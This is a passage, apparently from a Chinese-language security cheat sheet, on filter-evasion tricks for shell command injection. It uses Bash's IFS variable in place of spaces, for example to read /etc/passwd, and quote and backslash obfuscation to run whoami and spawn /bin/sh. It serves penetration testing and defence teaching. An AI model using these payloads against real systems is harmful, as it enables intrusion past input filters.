Bash 自动为许多变量分配默认值，如 `HOME` 或 `PATH`。其中一些变量可用于创建 payload。例如，您可以将 `IFS` 变量用作分隔符（这是可能的，因为 `IFS` 包含分隔字段的字符列表）：

```bash
$ cat$IFS/etc/passwd
$ echo${IFS}"test"
```

此外，您可以覆盖 `IFS` 并使用任何字符作为分隔符：

```bash
$ IFS=,;`cat<<<uname,-a`
```

参考：

* [Bash 参考手册：5 Shell 变量](https://www.gnu.org/software/bash/manual/bash.html#Shell-Variables)
* [Bash 参考手册：3.5.7 单词分割](https://www.gnu.org/software/bash/manual/bash.html#Word-Splitting)

### 技巧

```bash
# 在命令名中使用单引号
$ w'h'o'am'i
# 在命令名中使用双引号
$ w"h"o"am"i
# 在命令名中使用反斜杠和斜杠
$ w\ho\am\i
$ /\b\i\n/////s\h
```

## 参考

* [PayloadsAllTheThings：命令注入](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
